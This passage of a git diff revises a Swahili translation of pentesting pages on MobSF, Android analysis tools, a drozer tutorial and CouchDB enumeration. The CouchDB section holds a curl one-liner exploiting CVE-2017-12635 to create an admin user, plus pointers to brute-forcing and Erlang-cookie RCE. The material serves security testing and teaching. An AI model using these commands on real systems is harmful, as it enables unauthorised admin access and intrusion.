kuona kila mwito kwa mbinu zilizoshikiliwa, hoja zilizopitishwa na thamani zilizorejeshwa (hii itaonekana baada ya kubonyeza "Start Instrumentation").\ -MobSF pia inakuwezesha kupakia **scripts zako za Frida** (ili kutuma matokeo ya scripts zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **scripts kadhaa zilizotayarishwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zile**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logs za hizo scripts ndani ya "**Frida Live Logs**"). +Ili **kuanza** upimaji wa kisaidizi bonyeza kitufe kibichi: "**Start Instrumentation**". Bonyeza "**Frida Live Logs**" kuona logi zinazozalishwa na skripti za Frida na "**Live API Monitor**" kuona kila mwito kwa mbinu zilizoshikiliwa, hoja zilizopitishwa na thamani zilizorejeshwa (hii itaonekana baada ya kubonyeza "Start Instrumentation").\ +MobSF pia inakuwezesha kupakia **skripti zako za Frida** (ili kutuma matokeo ya skripti zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **skripti kadhaa zilizandikwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zinazo**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logi za skripti hizo ndani ya "**Frida Live Logs**"). ![](<../../images/image (419).png>) @@ -559,7 +559,7 @@ Mara tu unapochagua moduli ya ziada unayotaka kutumia unahitaji kubonyeza "**Sta **Shell** -Mobsf pia inakuletea shell yenye baadhi ya **adb** amri, **MobSF commands**, na amri za kawaida za **shell** chini ya ukurasa wa uchambuzi wa dynamic. Baadhi ya amri za kuvutia: +Mobsf pia inakuletea shell yenye baadhi ya amri za **adb**, **amri za MobSF**, na amri za kawaida za **shell** chini ya ukurasa wa uchambuzi wa kisaidizi. Baadhi ya amri za kuvutia: ```bash help shell ls @@ -570,13 +570,13 @@ receivers ``` **HTTP tools** -Wakati trafiki ya http inakamatwa unaweza kuona mtazamo mbaya wa trafiki iliyokamatwa kwenye "**HTTP(S) Traffic**" chini au mtazamo mzuri kwenye "**Start HTTPTools**" kijani chini. Kutoka chaguo la pili, unaweza **kutuma** **maombi yaliyokamatwa** kwa **proxies** kama Burp au Owasp ZAP.\ +Wakati trafiki ya http inakamatwa unaweza kuona mtazamo mbaya wa trafiki iliyokamatwa kwenye "**HTTP(S) Traffic**" chini au mtazamo mzuri kwenye "**Start HTTPTools**" kitufe kibichi. Kutoka kwenye chaguo la pili, unaweza **kutuma** **maombi yaliyokamatwa** kwa **proxies** kama Burp au Owasp ZAP.\ Ili kufanya hivyo, _washa Burp -->_ _zimisha Intercept --> katika MobSB HTTPTools chagua ombi_ --> bonyeza "**Send to Fuzzer**" --> _chagua anwani ya proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Mara tu unapo maliza uchambuzi wa dynamic na MobSF unaweza kubonyeza "**Start Web API Fuzzer**" ili **fuzz maombi ya http** na kutafuta udhaifu. > [!NOTE] -> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa na makosa na huwezi kuziweka sawa kutoka kwa GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya: +> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa imepangwa vibaya na huwezi kuziweka sawa kutoka kwenye GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya: > > ``` > adb shell settings put global http_proxy :0 @@ -595,7 +595,7 @@ Hii ni **chombo kizuri kufanya uchambuzi wa static na GUI** ### [Qark](https://github.com/linkedin/qark) -Chombo hiki kimeundwa kutafuta **udhaifu kadhaa zinazohusiana na usalama wa programu za Android**, iwe katika **kanuni ya chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizofichuliwa, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa cha mtihani. +Chombo hiki kimeundwa kutafuta **udhaifu kadhaa zinazohusiana na usalama wa programu za Android**, iwe katika **msimbo wa chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizo wazi, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa kinachojaribiwa. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -615,11 +615,11 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER ni programu ya amri ambayo inaweza kutumika katika Windows, MacOS X na Linux, inayochambua faili za _.apk_ kutafuta udhaifu. Inafanya hivyo kwa kubonyeza APKs na kutumia mfululizo wa sheria kugundua udhaifu hizo. +SUPER ni programu ya amri inayoweza kutumika katika Windows, MacOS X na Linux, inayochambua faili za _.apk_ kutafuta udhaifu. Inafanya hivyo kwa kubonyeza APKs na kutumia mfululizo wa sheria kugundua udhaifu hizo. Sheria zote zinazingatia faili ya `rules.json`, na kila kampuni au mtathmini anaweza kuunda sheria zake mwenyewe kuchambua kile wanachohitaji. -Pakua binaries za hivi karibuni kutoka kwenye [download page](https://superanalyzer.rocks/download.html) +Pakua binaries za hivi punde kutoka kwenye [download page](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -637,7 +637,7 @@ Pakua [latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android ambao unawasaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kutokea katika programu za Android.\ +AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android unaosaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kutokea katika programu za Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -645,11 +645,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** ni chombo ambacho lengo lake kuu ni kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea zinazotengenezwa na programu ya Android. +**Androwarn** ni chombo chenye lengo kuu la kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea zinazotengenezwa na programu ya Android. Ugunduzi unafanywa kwa **uchambuzi wa statiki** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard). -Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: Uhamasishaji wa vitambulisho vya Simu, Ukatishaji wa mtiririko wa sauti/video, Marekebisho ya data za PIM, Utekelezaji wa msimbo wa kiholela... +Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: uhamasishaji wa vitambulisho vya simu, upokeaji wa mtiririko wa sauti/video, mabadiliko ya data ya PIM, utekelezaji wa msimbo wa kiholela... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -657,20 +657,20 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** ni **M**obile **A**pplication **R**everse engineering na **A**nalysis Framework. Ni chombo kinachokusanya zana zinazotumika mara kwa mara za uhandisi wa nyuma na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama wa simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama. +**MARA** ni **M**obile **A**pplication **R**everse engineering na **A**nalysis Framework. Ni chombo ambacho kinaweka pamoja zana zinazotumika mara kwa mara za uhandisi wa nyuma na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama wa simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama. -Inauwezo wa: +Inaweza: -- Kutolewa kwa msimbo wa Java na Smali kwa kutumia zana tofauti +- Kutolewa Java na Smali code kwa kutumia zana tofauti - Kuchambua APKs kwa kutumia: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Kutolewa kwa taarifa za kibinafsi kutoka kwa APK kwa kutumia regexps. +- Kutolewa taarifa za kibinafsi kutoka kwa APK kwa kutumia regexps. - Kuchambua Manifest. - Kuchambua maeneo yaliyopatikana kwa kutumia: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) na [whatweb](https://github.com/urbanadventurer/WhatWeb) - Kuondoa obfuscation ya APK kupitia [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -Inafaida kugundua malware: [https://koodous.com/](https://koodous.com) +Inatumika kugundua malware: [https://koodous.com/](https://koodous.com) ## Obfuscating/Deobfuscating code @@ -678,7 +678,7 @@ Kumbuka kwamba kulingana na huduma na usanidi unayotumia kuondoa obfuscation ya ### [ProGuard]() -Kutoka [Wikipedia](): **ProGuard** ni chombo cha amri cha chanzo wazi kinachopunguza, kuboresha na kuondoa obfuscation ya msimbo wa Java. Inaweza kuboresha bytecode pamoja na kugundua na kuondoa maagizo yasiyotumika. ProGuard ni programu ya bure na inasambazwa chini ya GNU General Public License, toleo la 2. +Kutoka [Wikipedia](): **ProGuard** ni chombo cha amri cha chanzo wazi ambacho kinapunguza, kinaboresha na kinatoa obfuscation kwa Java code. Inaweza kuboresha bytecode pamoja na kugundua na kuondoa maagizo yasiyotumika. ProGuard ni programu ya bure na inasambazwa chini ya GNU General Public License, toleo la 2. ProGuard inasambazwa kama sehemu ya Android SDK na inafanya kazi wakati wa kujenga programu katika hali ya kutolewa. @@ -686,13 +686,13 @@ ProGuard inasambazwa kama sehemu ya Android SDK na inafanya kazi wakati wa kujen Pata mwongozo wa hatua kwa hatua wa kuondoa obfuscation ya apk katika [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Kutoka kwa mwongozo huo) Mara ya mwisho tulipokagua, hali ya uendeshaji ya Dexguard ilikuwa: +(Kutoka mwongozo huo) Mara ya mwisho tulipoangalia, hali ya uendeshaji ya Dexguard ilikuwa: -- kupakia rasilimali kama InputStream; -- kutoa matokeo kwa darasa linalorithi kutoka FilterInputStream ili kuyafungua; -- kufanya obfuscation isiyo na maana ili kupoteza dakika chache za muda kutoka kwa mhandisi wa nyuma; -- kutoa matokeo yaliyofunguliwa kwa ZipInputStream ili kupata faili ya DEX; -- hatimaye kupakia DEX inayotokana kama Rasilimali kwa kutumia njia ya `loadDex`. +- pakua rasilimali kama InputStream; +- peleka matokeo kwa darasa linalorithi kutoka FilterInputStream ili kuifungua; +- fanya obfuscation isiyo na maana ili kupoteza dakika chache za wakati kutoka kwa mhandisi wa nyuma; +- peleka matokeo yaliyofunguliwa kwa ZipInputStream ili kupata faili ya DEX; +- hatimaye pakua DEX inayotokana kama Rasilimali kwa kutumia njia ya `loadDex`. ### [DeGuard](http://apk-deguard.com) @@ -702,15 +702,15 @@ Unaweza kupakia APK iliyokuwa obfuscated kwenye jukwaa lao. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Hii ni zana ya LLM kutafuta udhaifu wowote wa usalama katika programu za android na kuondoa obfuscation ya msimbo wa programu za android. Inatumia API ya umma ya Gemini ya Google. +Hii ni zana ya LLM ya kutafuta udhaifu wowote wa usalama katika programu za android na kuondoa obfuscation ya msimbo wa programu za android. Inatumia API ya umma ya Gemini ya Google. ### [Simplify](https://github.com/CalebFenton/simplify) -Ni **deobfuscator ya android ya jumla.** Simplify **inatekeleza programu kwa karibu** ili kuelewa tabia yake na kisha **jaribu kuboresha msimbo** ili iwe na tabia sawa lakini iwe rahisi kwa binadamu kuelewa. Kila aina ya kuboresha ni rahisi na ya jumla, hivyo haijalishi ni aina gani maalum ya obfuscation inayotumika. +Ni **deobfuscator ya android ya jumla.** Simplify **inatekeleza programu kwa karibu** ili kuelewa tabia yake na kisha **inajaribu kuboresha msimbo** ili iwe na tabia sawa lakini iwe rahisi kwa binadamu kuelewa. Kila aina ya kuboresha ni rahisi na ya jumla, hivyo haijalishi ni aina gani maalum ya obfuscation inayotumika. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua **kompila**, **pakka**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android. +APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua **kompila**, **packers**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android. ### Manual diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index d496430ff..5f1397926 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -2,8 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} - - ## APKs to test - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (kutoka mrwlabs) @@ -19,7 +17,7 @@ pip install drozer-2.4.4-py2-none-any.whl pip install twisted pip install service_identity ``` -Pakua na usakinishe drozer APK kutoka kwa [toleo la hivi karibuni](https://github.com/mwrlabs/drozer/releases). Wakati huu ni [hii](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk). +Pakua na sakinisha drozer APK kutoka kwa [toleo la hivi karibuni](https://github.com/mwrlabs/drozer/releases). Wakati huu ni [hii](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk). ```bash adb install drozer.apk ``` @@ -29,7 +27,7 @@ Agent inafanya kazi kwenye bandari 31415, tunahitaji [port forward](https://en.w ```bash adb forward tcp:31415 tcp:31415 ``` -Hatimaye, **anzisha** **programu** na bonyeza kitufe "**ON**" +Hatimaye, **anzisha** **programu** na bonyeza chini "**ON**" ![](<../../../images/image (459).png>) @@ -130,7 +128,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### Watoa Maudhui -Post hii ilikuwa kubwa sana kuwepo hapa hivyo **unaweza** [**kuipata kwenye ukurasa wake hapa**](exploiting-content-providers.md). +Post hii ilikuwa kubwa sana kuwa hapa hivyo **unaweza** [**kuipata kwenye ukurasa wake hapa**](exploiting-content-providers.md). ### Huduma @@ -138,7 +136,7 @@ Huduma iliyosafirishwa inatangazwa ndani ya Manifest.xml: ```html ``` -Ndani ya msimbo **angalia** kazi ya \*\*`handleMessage`\*\* ambayo itapokea **ujumbe**: +Ndani ya msimbo **angalia** kwa **`handleMessage`** kazi ambayo itapokea **ujumbe**: ![](<../../../images/image (82).png>) @@ -164,7 +162,7 @@ Angalia msaada wa **drozer** kwa `app.service.send`: ![](<../../../images/image (1079).png>) Kumbuka kwamba utaanza kutuma data ndani ya "_msg.what_", kisha "_msg.arg1_" na "_msg.arg2_", unapaswa kuangalia ndani ya msimbo **ni taarifa gani inatumika** na wapi.\ -Kwa kutumia chaguo `--extra` unaweza kutuma kitu kinachofasiriwa na "_msg.replyTo"_, na kwa kutumia `--bundle-as-obj` unaunda kitu na maelezo yaliyotolewa. +Kwa kutumia chaguo `--extra` unaweza kutuma kitu kinachofasiriwa na "_msg.replyTo_", na kwa kutumia `--bundle-as-obj` unaunda kitu na maelezo yaliyotolewa. Katika mfano ufuatao: @@ -177,13 +175,13 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m ``` ![](<../../../images/image (647).png>) -### Broadcast Receivers +### Vipokeaji vya Matangazo -**Katika sehemu ya taarifa za msingi za Android unaweza kuona ni nini Broadcast Receiver**. +**Katika sehemu ya msingi ya taarifa za Android unaweza kuona ni nini Vipokeaji vya Matangazo**. -Baada ya kugundua Broadcast Receivers hizi unapaswa **kuangalia msimbo** wao. Zingatia kwa makini **`onReceive`** kazi kwani itakuwa inashughulikia ujumbe uliopokelewa. +Baada ya kugundua Vipokeaji hivi vya Matangazo unapaswa **kuangalia msimbo** wao. Zingatia kwa makini kazi ya **`onReceive`** kwani itakuwa inashughulikia ujumbe unaopokelewa. -#### **Gundua zote** broadcast receivers +#### **Gundua** vipokeaji vyote vya matangazo ```bash run app.broadcast.info #Detects all ``` @@ -208,7 +206,7 @@ Permission: null com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver Permission: null ``` -#### Matendo ya **Mawasiliano** +#### Matukio ya **Kuhamisha** ```bash app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent @@ -228,14 +226,14 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo ``` ### Is debuggeable -A prodduction APK should never be debuggeable.\ -Hii inamaanisha kwamba unaweza **kuunganisha java debugger** kwenye programu inayotembea, kuichunguza wakati wa utekelezaji, kuweka breakpoints, kwenda hatua kwa hatua, kukusanya thamani za mabadiliko na hata kuzibadilisha. [InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code. +APK ya uzalishaji haitakiwi kamwe kuwa debuggable.\ +Hii inamaanisha kwamba unaweza **kuunganisha java debugger** kwenye programu inayotembea, kuichunguza wakati wa utekelezaji, kuweka breakpoints, kwenda hatua kwa hatua, kukusanya thamani za mabadiliko na hata kuzibadilisha. [InfoSec institute ina makala bora](../exploiting-a-debuggeable-applciation.md) kuhusu kuchimba zaidi wakati programu yako ni debuggable na kuingiza msimbo wa wakati wa utekelezaji. -When an application is debuggable, it will appear in the Manifest: +Wakati programu ni debuggable, itaonekana katika Manifest: ```xml [!NOTE] -> Kumbuka kwamba ikiwa unapata mizizi ya couchdb unapata `401 Unauthorized` na kitu kama hiki: `{"error":"unauthorized","reason":"Authentication required."}` **hutaweza kufikia** bendera au kiunganishi kingine chochote. +> Kumbuka kwamba ikiwa unapata `401 Unauthorized` unapofikia mzizi wa couchdb na kitu kama hiki: `{"error":"unauthorized","reason":"Authentication required."}` **hutaweza kufikia** bendera au kiunganishi kingine chochote. ### Info Enumeration -Hizi ndizo kiunganishi ambapo unaweza kufikia kwa ombi la **GET** na kutoa taarifa za kuvutia. Unaweza kupata [**kiunganishi zaidi na maelezo ya kina katika nyaraka za couchdb**](https://docs.couchdb.org/en/latest/api/index.html). +Hizi ni kiunganishi ambacho unaweza kufikia kwa ombi la **GET** na kutoa taarifa za kuvutia. Unaweza kupata [**kiunganishi zaidi na maelezo ya kina katika nyaraka za couchdb**](https://docs.couchdb.org/en/latest/api/index.html). - **`/_active_tasks`** Orodha ya kazi zinazofanyika, ikiwa ni pamoja na aina ya kazi, jina, hali na kitambulisho cha mchakato. - **`/_all_dbs`** Inarudisha orodha ya hifadhidata zote katika mfano wa CouchDB. -- \*\*`/_cluster_setup`\*\* Inarudisha hali ya node au klasta, kulingana na msaidizi wa usanidi wa klasta. +- **`/_cluster_setup`** Inarudisha hali ya node au klasta, kulingana na msaidizi wa usanidi wa klasta. - **`/_db_updates`** Inarudisha orodha ya matukio yote ya hifadhidata katika mfano wa CouchDB. Uwepo wa hifadhidata ya `_global_changes` unahitajika kutumia kiunganishi hiki. -- **`/_membership`** Inaonyesha nodes ambazo ni sehemu ya klasta kama `cluster_nodes`. Sehemu `all_nodes` inaonyesha nodes zote ambazo node hii inazijua, ikiwa ni pamoja na zile ambazo ni sehemu ya klasta. -- **`/_scheduler/jobs`** Orodha ya kazi za nakala. Maelezo ya kila kazi yatakuwa na taarifa za chanzo na lengo, kitambulisho cha nakala, historia ya tukio la hivi karibuni, na mambo mengine machache. +- **`/_membership`** Inaonyesha nodes ambazo ni sehemu ya klasta kama `cluster_nodes`. Sehemu ya `all_nodes` inaonyesha nodes zote ambazo node hii inazijua, ikiwa ni pamoja na zile ambazo ni sehemu ya klasta. +- **`/_scheduler/jobs`** Orodha ya kazi za nakala. Maelezo ya kila kazi yatakuwa na taarifa za chanzo na lengo, kitambulisho cha nakala, historia ya matukio ya hivi karibuni, na mambo mengine machache. - **`/_scheduler/docs`** Orodha ya hali za hati za nakala. Inajumuisha taarifa kuhusu hati zote, hata katika hali za `completed` na `failed`. Kwa kila hati inarudisha kitambulisho cha hati, hifadhidata, kitambulisho cha nakala, chanzo na lengo, na taarifa nyingine. - **`/_scheduler/docs/{replicator_db}`** - **`/_scheduler/docs/{replicator_db}/{docid}`** -- **`/_node/{node-name}`** Kiunganishi `/_node/{node-name}` kinaweza kutumika kuthibitisha jina la node ya Erlang ya seva inayoshughulikia ombi. Hii ni muhimu zaidi unapofikia `/_node/_local` ili kupata taarifa hii. -- **`/_node/{node-name}/_stats`** Rasilimali `_stats` inarudisha kitu cha JSON kinachojumuisha takwimu za seva inayofanya kazi. Mstari halisi `_local` hutumikia kama jina mbadala kwa jina la node ya ndani, hivyo kwa URL zote za takwimu, `{node-name}` inaweza kubadilishwa na `_local`, ili kuingiliana na takwimu za node ya ndani. -- **`/_node/{node-name}/_system`** Rasilimali \_system inarudisha kitu cha JSON kinachojumuisha takwimu mbalimbali za kiwango cha mfumo kwa seva inayofanya kazi\_.\_ Unaweza kutumia \_\_`_local` kama {node-name} kupata taarifa za sasa za node. +- **`/_node/{node-name}`** Kiunganishi cha `/_node/{node-name}` kinaweza kutumika kuthibitisha jina la node ya Erlang ya seva inayoshughulikia ombi. Hii ni muhimu zaidi unapofikia `/_node/_local` ili kupata taarifa hii. +- **`/_node/{node-name}/_stats`** Rasilimali ya `_stats` inarudisha kitu cha JSON kinachojumuisha takwimu za seva inayofanya kazi. Mstari halisi `_local` hutumikia kama jina la badala kwa jina la node ya ndani, hivyo kwa URL zote za takwimu, `{node-name}` inaweza kubadilishwa na `_local`, ili kuingiliana na takwimu za node ya ndani. +- **`/_node/{node-name}/_system`** Rasilimali ya \_system inarudisha kitu cha JSON kinachojumuisha takwimu mbalimbali za kiwango cha mfumo kwa seva inayofanya kazi\_.\_ Unaweza kutumia \_\_`_local` kama {node-name} kupata taarifa za node ya sasa. - **`/_node/{node-name}/_restart`** -- **`/_up`** Inathibitisha kwamba seva iko juu, inafanya kazi, na tayari kujibu maombi. Ikiwa [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) ni `true` au `nolb`, kiunganishi kitarejesha jibu la 404. -- \*\*`/_uuids`\*\* Inahitaji kitambulisho kimoja au zaidi cha Kipekee Duniani (UUIDs) kutoka kwa mfano wa CouchDB. -- \*\*`/_reshard`\*\* Inarudisha idadi ya kazi zilizokamilika, zilizoshindwa, zinazofanya kazi, zilizositishwa, na jumla pamoja na hali ya upya wa klasta. +- **`/_up`** Inathibitisha kwamba seva iko juu, inafanya kazi, na iko tayari kujibu maombi. Ikiwa [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) ni `true` au `nolb`, kiunganishi kitarejesha jibu la 404. +- **`/_uuids`** Inahitaji kitambulisho kimoja au zaidi cha Kipekee Duniani (UUIDs) kutoka kwa mfano wa CouchDB. +- **`/_reshard`** Inarudisha hesabu ya kazi zilizokamilika, zilizoshindwa, zinazofanyika, zilizositishwa, na jumla pamoja na hali ya upya wa klasta. Taarifa zaidi za kuvutia zinaweza kutolewa kama ilivyoelezwa hapa: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) @@ -63,9 +63,9 @@ Ikiwa ombi hilo **linajibu na 401 isiyoidhinishwa**, basi unahitaji **vithibitis ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` -Ili kupata Credentials halali unaweza **jaribu** [**kuvunjavunja huduma**](../generic-hacking/brute-force.md#couchdb). +Ili kupata Credentials halali unaweza **jaribu** [**kuvunjia huduma nguvu**](../generic-hacking/brute-force.md#couchdb). -Hii ni **mfano** wa **jibu** la couchdb unapokuwa na **mamlaka ya kutosha** ya kuorodhesha hifadhidata (Ni orodha tu ya dbs): +Hii ni **mfano** wa **jibu** la couchdb unapokuwa na **mamlaka ya kutosha** ya kuorodhesha hifadhidata (Ni orodha tu ya hifadhidata): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` @@ -78,9 +78,9 @@ curl http://localhost:5984/simpsons #Example response: {"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"} ``` -### **Orodha ya Nyaraka** +### **Orodha ya Hati** -Orodha kila kipengee ndani ya hifadhidata +Orodha kila kipengee ndani ya database ```bash curl -X GET http://IP:5984/{dbname}/_all_docs curl http://localhost:5984/simpsons/_all_docs @@ -106,7 +106,7 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 ``` ## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) -Shukrani kwa tofauti kati ya parsers za Erlang na JavaScript JSON unaweza **kuunda mtumiaji wa admin** mwenye akauti `hacktricks:hacktricks` kwa ombi lifuatalo: +Shukrani kwa tofauti kati ya parsers za JSON za Erlang na JavaScript unaweza **kuunda mtumiaji wa admin** mwenye akauti `hacktricks:hacktricks` kwa ombi lifuatalo: ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` @@ -118,22 +118,22 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[] Mfano [kutoka hapa](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -Katika nyaraka za CouchDB, hasa katika sehemu inayohusiana na usanidi wa klasta ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), matumizi ya bandari na CouchDB katika hali ya klasta yanajadiliwa. Inatajwa kwamba, kama katika hali ya pekee, bandari `5984` inatumika. Aidha, bandari `5986` ni kwa APIs za node-local, na muhimu zaidi, Erlang inahitaji bandari ya TCP `4369` kwa ajili ya Erlang Port Mapper Daemon (EPMD), ikirahisisha mawasiliano ya node ndani ya klasta ya Erlang. Usanidi huu unaunda mtandao ambapo kila node inahusishwa na kila node nyingine. +Katika nyaraka za CouchDB, hasa katika sehemu inayohusiana na usanidi wa klasta ([kiungo](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), matumizi ya bandari na CouchDB katika hali ya klasta yanajadiliwa. Inasemekana kwamba, kama katika hali ya pekee, bandari `5984` inatumika. Aidha, bandari `5986` ni kwa APIs za node-local, na muhimu zaidi, Erlang inahitaji bandari ya TCP `4369` kwa ajili ya Erlang Port Mapper Daemon (EPMD), inayowezesha mawasiliano ya node ndani ya klasta ya Erlang. Usanidi huu unaunda mtandao ambapo kila node inahusishwa na kila node nyingine. -Taarifa muhimu ya usalama inasisitizwa kuhusu bandari `4369`. Ikiwa bandari hii itapatikana kupitia Mtandao au mtandao wowote usioaminika, usalama wa mfumo unategemea sana kitambulisho cha kipekee kinachojulikana kama "keki." Keki hii inafanya kazi kama kinga. Kwa mfano, katika orodha fulani ya michakato, keki inayoitwa "monster" inaweza kuonekana, ikionyesha jukumu lake katika mfumo wa usalama wa mfumo. +Taarifa muhimu ya usalama inasisitizwa kuhusu bandari `4369`. Ikiwa bandari hii itapatikana kupitia Mtandao au mtandao wowote usioaminika, usalama wa mfumo unategemea sana kitambulisho cha kipekee kinachojulikana kama "keki." Keki hii inafanya kazi kama kinga. Kwa mfano, katika orodha fulani ya michakato, keki iliyo na jina "monster" inaweza kuonekana, ikionyesha jukumu lake katika mfumo wa usalama wa mfumo. ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` -Kwa wale wanaovutiwa na kuelewa jinsi "keki" hii inaweza kutumika kwa ajili ya Remote Code Execution (RCE) ndani ya muktadha wa mifumo ya Erlang, sehemu maalum inapatikana kwa ajili ya kusoma zaidi. Inabainisha mbinu za kutumia keki za Erlang kwa njia zisizoidhinishwa ili kupata udhibiti juu ya mifumo. Unaweza [**kuchunguza mwongozo wa kina juu ya kutumia keki za Erlang kwa RCE hapa**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce). +Kwa wale wanaovutiwa na kuelewa jinsi "keki" hii inaweza kutumika kwa ajili ya Remote Code Execution (RCE) ndani ya muktadha wa mifumo ya Erlang, sehemu maalum inapatikana kwa ajili ya kusoma zaidi. 